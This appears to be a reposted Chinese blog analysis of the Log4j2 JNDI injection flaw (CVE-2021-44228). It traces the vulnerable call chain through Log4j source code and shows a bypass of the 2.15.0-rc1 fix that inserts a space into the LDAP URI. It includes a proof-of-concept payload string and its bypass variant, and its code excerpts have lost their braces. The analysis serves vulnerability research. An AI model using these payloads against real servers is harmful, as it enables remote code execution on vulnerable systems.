安全漏洞之Log4j2漏洞复现绕过分析

Posted kali_Ma

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了安全漏洞之Log4j2漏洞复现绕过分析相关的知识,希望对你有一定的参考价值。

0x00 介绍

Log4j2Java开发常用的日志框架,该漏洞触发条件低,危害大,由阿里云安全团队报告

分配CVE编号:CVE-2021-44228

CVSS评分:10.0(最高只能10分)

POC比较简单

public static void main(String[] args) throws Exception 
    logger.error("$jndi:ldap://127.0.0.1:1389/badClassName");

POC虽然简单,但是搭建LDAP环境显得有点复杂,marshalsec方式需要自行编译class并搭建HTTP服务端

java -jar LDAPKit.jar [命令]

截图如下

【一>所有资源获取<一】
1、200份很多已经买不到的绝版电子书
2、30G安全大厂内部的视频资料
3、100份src文档
4、常见安全面试题
5、ctf大赛经典题目解析
6、全套工具包
7、应急响应笔记
8、网络安全学习路线

0x01 RCE分析

首先来看RCE是怎样的原理,先来一段又臭又长的流程分析

看看从logger.errorJndiLookup.lookup中间经历了些什么

logger.error()层层跟到AbstractLogger.tryLogMessage.log方法

private void tryLogMessage(final String fqcn,
                           final StackTraceElement location,
                           final Level level,
                           final Marker marker,
                           final Message message,
                           final Throwable throwable) 
    try 
        log(level, marker, fqcn, location, message, throwable);
     catch (final Exception e) 
        handleLogMessageException(e, fqcn, message);
    

不动态调试的情况下跟log方法会到AbstractLogger.log方法,实际上这里是org.apache.logging.log4j.core.Loggger.log方法

@Override
protected void log(final Level level, final Marker marker, final String fqcn, final StackTraceElement location,
                   final Message message, final Throwable throwable) 
    final ReliabilityStrategy strategy = privateConfig.loggerConfig.getReliabilityStrategy();
    if (strategy instanceof LocationAwareReliabilityStrategy) 
        // 触发点
        ((LocationAwareReliabilityStrategy) strategy).log(this, getName(), fqcn, location, marker, level,
                                                          message, throwable);
     else 
        strategy.log(this, getName(), fqcn, marker, level, message, throwable);
    

跟入这里的log方法到org/apache/logging/log4j/core/config/DefaultReliabilityStrategy.log

@Override
public void log(final Supplier<LoggerConfig> reconfigured, final String loggerName, final String fqcn,
                final StackTraceElement location, final Marker marker, final Level level, final Message data,
                final Throwable t) 
    loggerConfig.log(loggerName, fqcn, location, marker, level, data, t);

进入LoggerConfig.log方法

@PerformanceSensitive("allocation")
    public void log(final String loggerName, final String fqcn, final StackTraceElement location, final Marker marker,
        final Level level, final Message data, final Throwable t) 
        // 无需关心的代码
        ...
        try 
            // 跟入
            log(logEvent, LoggerConfigPredicate.ALL);
         finally 
            ReusableLogEventFactory.release(logEvent);
        
    

进入LoggerConfig另一处重载log方法

protected void log(final LogEvent event, final LoggerConfigPredicate predicate) 
    if (!isFiltered(event)) 
        // 跟入
        processLogEvent(event, predicate);
    

private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) 
    event.setIncludeLocation(isIncludeLocation());
    if (predicate.allow(this)) 
        // 关键点
        callAppenders(event);
    
    logParent(event, predicate);

可以看到调用appender.controlcallAppender方法

@PerformanceSensitive("allocation")
protected void callAppenders(final LogEvent event) 
    final AppenderControl[] controls = appenders.get();
    //noinspection ForLoopReplaceableByForEach
    for (int i = 0; i < controls.length; i++) 
        controls[i].callAppender(event);
    

层层跟入到AppenderControl.tryCallAppender方法

private void callAppender0(final LogEvent event) 
    ensureAppenderStarted();
    if (!isFilteredByAppender(event)) 
        // 跟入
        tryCallAppender(event);
    

private void tryCallAppender(final LogEvent event) 
    try 
        // 跟入
        appender.append(event);
     catch (final RuntimeException error) 
        handleAppenderError(event, error);
     catch (final Exception error) 
        handleAppenderError(event, new AppenderLoggingException(error));
    

进入AbstractOutputStreamAppender.append方法,进入到directEncodeEvent方法

protected void directEncodeEvent(final LogEvent event) 
    getLayout().encode(event, manager);
    if (this.immediateFlush || event.isEndOfBatch()) 
        manager.flush();
    

关注其中的encode方法跟入到PatternLayout.encode方法

@Override
public void encode(final LogEvent event, final ByteBufferDestination destination) 
    if (!(eventSerializer instanceof Serializer2)) 
        super.encode(event, destination);
        return;
    
    final StringBuilder text = toText((Serializer2) eventSerializer, event, getStringBuilder());
    final Encoder<StringBuilder> encoder = getStringBuilderEncoder();
    encoder.encode(text, destination);
    trimToMaxSize(text);

不用关心多余的代码,这里触发点在toText方法

private StringBuilder toText(final Serializer2 serializer, final LogEvent event,
                             final StringBuilder destination) 
    return serializer.toSerializable(event, destination);

@Override
public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) 
    final int len = formatters.length;
    for (int i = 0; i < len; i++) 
        // 发现其中某一处format方法触发漏洞
        formatters[i].format(event, buffer);
    
    if (replace != null) 
        String str = buffer.toString();
        str = replace.format(str);
        buffer.setLength(0);
        buffer.append(str);
    
    return buffer;

这里的formatters方法包含了多个formatter对象,其中出发漏洞的是第8个,其中包含MessagePatternConverter

跟入看到调用了Converter相关的方法

public void format(final LogEvent event, final StringBuilder buf) 
    if (skipFormattingInfo) 
        converter.format(event, buf);
     else 
        formatWithInfo(event, buf);
    

不难看出每个formatterconverter为了构造日志的每一部分,这里在构造真正的日志信息字符串部分

跟入MessagePatternConverter.format方法,看到核心的部分

@Override
public void format(final LogEvent event, final StringBuilder toAppendTo) 
    final Message msg = event.getMessage();
    if (msg instanceof StringBuilderFormattable) 

        final boolean doRender = textRenderer != null;
        final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;

        final int offset = workingBuilder.length();
        if (msg instanceof MultiFormatStringBuilderFormattable) 
            ((MultiFormatStringBuilderFormattable) msg).formatTo(formats, workingBuilder);
         else 
            ((StringBuilderFormattable) msg).formatTo(workingBuilder);
        
        if (config != null && !noLookups) 
            for (int i = offset; i < workingBuilder.length() - 1; i++) 
                // 是否以$开头
                if (workingBuilder.charAt(i) == '/pre> && workingBuilder.charAt(i + 1) == '') 
                    // 这个value是:$jndi:ldap://127.0.0.1:1389/badClassName
                    final String value = workingBuilder.substring(offset, workingBuilder.length());
                    workingBuilder.setLength(offset);
                    // 跟入replace方法
                    workingBuilder.append(config.getStrSubstitutor().replace(event, value));
                
            
        
        if (doRender) 
            textRenderer.render(workingBuilder, toAppendTo);
        
        return;
    
    if (msg != null) 
        String result;
        if (msg instanceof MultiformatMessage) 
            result = ((MultiformatMessage) msg).getFormattedMessage(formats);
         else 
            result = msg.getFormattedMessage();
        
        if (result != null) 
            toAppendTo.append(config != null && result.contains("$")
                              ? config.getStrSubstitutor().replace(event, result) : result);
         else 
            toAppendTo.append("null");
        
    

进入StrSubstitutor.replace方法

public String replace(final LogEvent event, final String source) 
    if (source == null) 
        return null;
    
    final StringBuilder buf = new StringBuilder(source);
    // 跟入
    if (!substitute(event, buf, 0, source.length())) 
        return source;
    
    return buf.toString();

跟入StrSubstitutor.subtute方法,存在递归,逻辑较长

主要作用是递归处理日志输入,转为对应的输出

private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,
                       List<String> priorVariables) 
    ...
    substitute(event, bufName, 0, bufName.length());
    ...
    String varValue = resolveVariable(event, varName, buf, startPos, endPos);
    ...
    int change = substitute(event, buf, startPos, varLen, priorVariables);

其实这里是触发漏洞的必要条件,通常情况下程序员会这样写日志相关代码

logger.error("error_message:" + info);

黑客的恶意输入有可能进入info变量导致这里变成

logger.error("error_message:$jndi:ldap://127.0.0.1:1389/badClassName");

这里的递归处理成功地让jndi:ldap://127.0.0.1:1389/badClassName进入resolveVariable方法

经过调试确认了关键方法resolveVariable

protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
                                 final int startPos, final int endPos) 
    final StrLookup resolver = getVariableResolver();
    if (resolver == null) 
        return null;
    
    // 进入
    return resolver.lookup(event, variableName);

跟入这里的lookup可以看到很多师傅们截图的方法

@Override
public String lookup(final LogEvent event, String var) 
    if (var == null) 
        return null;
    

    final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
    if (prefixPos >= 0) 
        final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
        final String name = var.substring(prefixPos + 1);
        // 关键
        final StrLookup lookup = strLookupMap.get(prefix);
        if (lookup instanceof ConfigurationAware) 
            ((ConfigurationAware) lookup).setConfiguration(configuration);
        
        String value = null;
        if (lookup != null) 
            // 这里的name是:ldap://127.0.0.1:1389/badClassName
            value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
        

        if (value != null) 
            return value;
        
        var = var.substring(prefixPos + 1);
    
    if (defaultLookup != null) 
        return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var);
    
    return null;

这里的strLookupMap中包含了多种Lookup对象

类似地,可以这样用

logger.error("$java:runtime");
// 打印
00:36:26.312 [main] ERROR Main - Java(TM) SE Runtime Environment (build 1.8.0_131-b11) from Oracle Corporation

跟入JndiLookup.lookup

@Override
public String lookup(final LogEvent event, final String key) 
    if (key == null) 
        return null;
    
    final String jndiName = convertJndiName(key);
    try (final JndiManager jndiManager = JndiManager.getDefaultManager()) 
        // 跟入lookup
        return Objects.toString(jndiManager.lookup(jndiName), null);
     catch (final NamingException e) 
        LOGGER.warn(LOOKUP, "Error looking up JNDI resource [].", jndiName, e);
        return null;
    

最后触发点JndiManager.lookup

@SuppressWarnings("unchecked")
public <T> T lookup(final String name) throws NamingException 
    return (T) this.context.lookup(name);

0x03 RC1修复绕过

修复版本2.15.0-rc1

跟了下流程发现到PatternLayout.toSerializable方法发生了变化

不过这里的变化没有什么影响,其中的formatters属性的变化导致了$不会被处理

@Override
public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) 
    for (PatternFormatter formatter : formatters) 
        formatter.format(event, buffer);
    
    return buffer;

这里某个formatter包含了MessagePatternConverter

在修复后变成了MessagePatternConverter.SimplePatternConverter

可以发现在这个类中变成了直接拼接字符串的操作,不去判断$这种情况

private static final class SimpleMessagePatternConverter extends MessagePatternConverter 
    private static final MessagePatternConverter INSTANCE = new SimpleMessagePatternConverter();
    @Override
    public void format(final LogEvent event, final StringBuilder toAppendTo) 
        Message msg = event.getMessage();
        // 直接拼接字符串
        if (msg instanceof StringBuilderFormattable) 
            ((StringBuilderFormattable) msg).formatTo(toAppendTo);
         else if (msg != null) 
            toAppendTo.append(msg.getFormattedMessage());
        
    

注意到另一个子类LookupMessagePatternConverter

如果Converter被设置为该类,那么会继续进行$的处理

private static final class LookupMessagePatternConverter extends MessagePatternConverter 
    private final MessagePatternConverter delegate;
    private final Configuration config;

    LookupMessagePatternConverter(final MessagePatternConverter delegate, final Configuration config) 
        this.delegate = delegate;
        this.config = config;
    

    @Override
    public void format(final LogEvent event, final StringBuilder toAppendTo) 
        int start = toAppendTo.length();
        delegate.format(event, toAppendTo);
        // 判断$
        int indexOfSubstitution = toAppendTo.indexOf("$", start);
        if (indexOfSubstitution >= 0) 
            config.getStrSubstitutor()
                // 进入了上文的流程
                .replaceIn(event, toAppendTo, indexOfSubstitution, toAppendTo.length() - indexOfSubstitution);
        
    

具体需要设置为哪一个子类取决于用户的配置

private static final String LOOKUPS = "lookups";
private static final String NOLOOKUPS = "nolookups";

public static MessagePatternConverter newInstance(final Configuration config, final String[] options) 
    boolean lookups = loadLookups(options);
    String[] formats = withoutLookupOptions(options);
    TextRenderer textRenderer = loadMessageRenderer(formats);
    // 默认不配置lookup功能
    MessagePatternConverter result = formats == null || formats.length == 0
        ? SimpleMessagePatternConverter.INSTANCE
        : new FormattedMessagePatternConverter(formats);
    if (lookups && config != null) 
        // 只有用户进行配置才会触发
        result = new LookupMessagePatternConverter(result, config);
    
    if (textRenderer != null) 
        result = new RenderingPatternConverter(result, textRenderer);
    
    return result;

于是想办法开启lookup功能分析后续有没有限制

final Configuration config = new DefaultConfigurationBuilder().build(true);
// 配置开启lookup功能
final MessagePatternConverter converter =
    MessagePatternConverter.newInstance(config, new String[] "lookups");
final Message msg = new ParameterizedMessage("$jndi:ldap://127.0.0.1:1389/badClassName");
final LogEvent event = Log4jLogEvent.newBuilder()
    .setLoggerName("MyLogger")
    .setLevel(Level.DEBUG)
    .setMessage(msg).build();
final StringBuilder sb = new StringBuilder();
converter.format(event, sb);
System.out.println(sb);

成功开启lookups功能,调用LookupMessagePatternConverter.fomat方法

递归处理等过程均没有变化,最后JndiManager.lookup触发漏洞的地方进行了修改

public synchronized <T> T lookup(final String name) throws NamingException 
    try 
        URI uri = new URI(name);
        if (uri.getScheme() != null) 
            // 允许的协议白名单
            if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) 
                LOGGER.warn("Log4j JNDI does not allow protocol ", uri.getScheme());
                return null;
            
            if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) 
                // 允许的host白名单
                if (!allowedHosts.contains(uri.getHost())) 
                    LOGGER.warn("Attempt to access ldap server not in allowed list");
                    return null;
                
                Attributes attributes = this.context.getAttributes(name);
                if (attributes != null) 
                    Map<String, Attribute> attributeMap = new HashMap<>();
                    NamingEnumeration<? extends Attribute> enumeration = attributes.getAll();
                    while (enumeration.hasMore()) 
                        Attribute attribute = enumeration.next();
                        attributeMap.put(attribute.getID(), attribute);
                    
                    Attribute classNameAttr = attributeMap.get(CLASS_NAME);
                    // 参考下图我们这种Payload不存在javaSerializedData头
                    // 所以不会进入类白名单判断
                    if (attributeMap.get(SERIALIZED_DATA) != null) 
                        if (classNameAttr != null) 
                            // 类名白名单
                            String className = classNameAttr.get().toString();
                            if (!allowedClasses.contains(className)) 
                                LOGGER.warn("Deserialization of  is not allowed", className);
                                return null;
                            
                         else 
                            LOGGER.warn("No class name provided for ", name);
                            return null;
                        
                     else if (attributeMap.get(REFERENCE_ADDRESS) != null
                               || attributeMap.get(OBJECT_FACTORY) != null) 
                        // 不允许REFERENCE这种加载对象的方式
                        LOGGER.warn("Referenceable class is not allowed for ", name);
                        return null;
                    
                
            
        
     catch (URISyntaxException ex) 
        // This is OK.
    
    return (T) this.context.lookup(name);

看看实际运行中,这几个白名单是怎样的

默认的协议是:javaldapldaps

默认数据类型是八大基本数据类型

默认的Host白名单是localhost

实际上拦住Payload是在最后一处OBJECT_FACTORY判断

由于RCE一定需要加载远程对象,那么避免不了javaFactory属性(或者有一些其他思路,笔者刚做Java安全不了解)

看起来无懈可击,然而这里有一处细节问题

public synchronized <T> T lookup(final String name) throws NamingException 
    try 
        URI uri = new URI(name);
        ...
     catch (URISyntaxException ex) 
        // This is OK.
    
    return (T) this.context.lookup(name);

如果发生了URISyntaxException异常会直接this.context.lookup

能否想办法让new URI(name);时候报错但name传入context.lookup(name);时正常

经过测试发现URI中不进行URL编码会报这个错,加个空格即可触发$jndi:ldap://127.0.0.1:1389/ badClassName(不对空格做编码导致异常,但是lookup时候会去掉这个空格)

成功RCE(需要用户开启lookup功能的基础上才可以)

0x04 RC2修复

RC2的修复方案是直接return,有效解决了上文的绕过

try
 catch (URISyntaxException ex) 
    LOGGER.warn("Invalid JNDI URI - ", name);
    return null;

return (T) this.context.lookup(name);

以上是关于安全漏洞之Log4j2漏洞复现绕过分析的主要内容,如果未能解决你的问题,请参考以下文章

Apache Log4j2 RCE 远程命令执行漏洞复现与分析

分析并复现Apache核弹级漏洞,利用Log4j2使目标服务器执行任意代码

Apache Log4j2远程代码执行漏洞复现

log4j2漏洞复现与利用

Apache Log4j2 远程代码执行漏洞复现

Bonitasoft认证绕过和RCE漏洞分析及复现(CVE-2022-25237)